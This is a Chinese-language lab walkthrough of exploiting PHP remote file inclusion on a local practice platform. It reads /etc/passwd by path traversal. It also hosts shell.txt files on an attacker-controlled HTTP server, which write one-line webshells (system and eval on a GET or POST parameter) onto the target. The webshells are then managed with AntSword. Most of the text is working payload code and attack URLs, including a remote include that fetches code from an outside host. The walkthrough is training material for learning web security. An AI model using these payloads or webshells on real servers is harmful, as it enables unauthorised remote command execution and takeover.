运行条件
远程文件包含需要php配置开启2个条件:
allow_url_fopen=On, allow_url_include=On并且PHPversion>=5.2.0。 allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)
同样的测试平台,看图:
%2F解码以后为 / 符号。
远程都可以打开,本地一样打开,如果按照本地文件的包含思路,我们也可以用同样的办法来对应:
http://192.168.182.142/vul/fileinclude/fi_remote.php?filename=include/../../../../etc/passwd&submit=%E6%8F%90%E4%BA%A4
漏洞猜想
既然已经存在包含漏洞,试想,如果可以包含一段代码,这段代码,可以执行我想要的内容。
把上面的内容重复执行的话,则可以修改为:如果可以包含一段代码,这段代码可以让我写入一个SHELL木马进去。对方的服务器代码是成型代码,所以,我只能借助一个单独的可以供它远程访问的地址,然后让这个程序来访问,触发漏洞代码的写入。(跨过复杂模式)
需求
我们需要一个可以写入1句话木马的PHP代码片段。然后提供给这个程序来访问。
shell.txt
<?php $myfile=fopen(“shell.php”,”w”); //此处代表写到当前程序运行的目录 $txt=’<?php system($_GET[x]);?>’; //传入x为参数的数据,知道x就可以通关了。x被隐喻为密码。 fwrite($myfile,$txt); fclose($myfile); ?>
实践
我们在本机创建一个http服务,通过http服务为docker容器提供远程下载。http服务软件我们选择HFS。
检验
http://192.168.182.142/vul/fileinclude/fi_remote.php?filename=http://192.168.56.1/shell.txt&submit=%E6%8F%90%E4%BA%A4
没有发现新的shell.php生成出来。
疑问分析
为什么没有生成的原因,值得我们细细思考。是否存在以下原因:
- allow_url_open allow_url_include 功能没有打开?
- PHP的代码写的有问题,导致错误?
- 杀毒软件?
- SYSTEM函数被禁用了
- 请思考
再次实践
修改php.ini配置文件
root@d6bc4144a54f:/app/vul/fileinclude# vim /etc/php/7.3/apache2/php.ini 
修改配置文件,将allow_url_include设置为On。重启apache,再次测试。
service apache2 restart
进程ID产生了变化,说明重新启动生效了。
验证:
去控制台验证:
一个shell一句话木马文件就已经生成了。 可以拿蚁剑或者中国菜刀来测试一下。关于蚁剑工具的使用,请参考:https://www.yuque.com/antswordproject/antsword

设置好之后,我们添加到主界面里面了。
开始进行管理
(实操练习链接部分) 时间大约30分钟
————————————————————————————————-
大概率测试失败,因为直接连接不断报错。
通过抓包我们发现什么?
提交数据用的是POST这个动作。而我们的 SHELL用的是GET动作。
用什么不重要,我们把SHELL的语句改一下。
————————————————————————————————-
修改新SHELL
newshell.txt
<?php $myfile=fopen(“newshell.php”,”w”); //此处代表写到当前程序运行的目录 $txt=’<?php system($_POST[x]);?>’; //传入x为参数的数据,知道x就可以通关了。x被隐喻为密码。 fwrite($myfile,$txt); fclose($myfile); ?>
http://192.168.56.1/newshell.txt
重新拽到HFS里:
http://192.168.56.1/newshell.txt
再把执行RFI流程再走一次。

加到蚁剑重新看效果:
还是出错!WHY????
再次修改新SHELL
newshell2.txt
<?php $myfile=fopen(“newshell2.php”,”w”); //此处代表写到当前程序运行的目录 $txt=’<?php eval($_POST[x]);?>’; //传入x为参数的数据,知道x就可以通关了。x被隐喻为密码。 fwrite($myfile,$txt); fclose($myfile); ?>
http://192.168.56.1/newshell2.txt
重新提交,生成newshell2.php以后,我们再次尝试用蚁剑去连接:

熟悉的文件管理界面出来了。达到了使用习惯的预期。
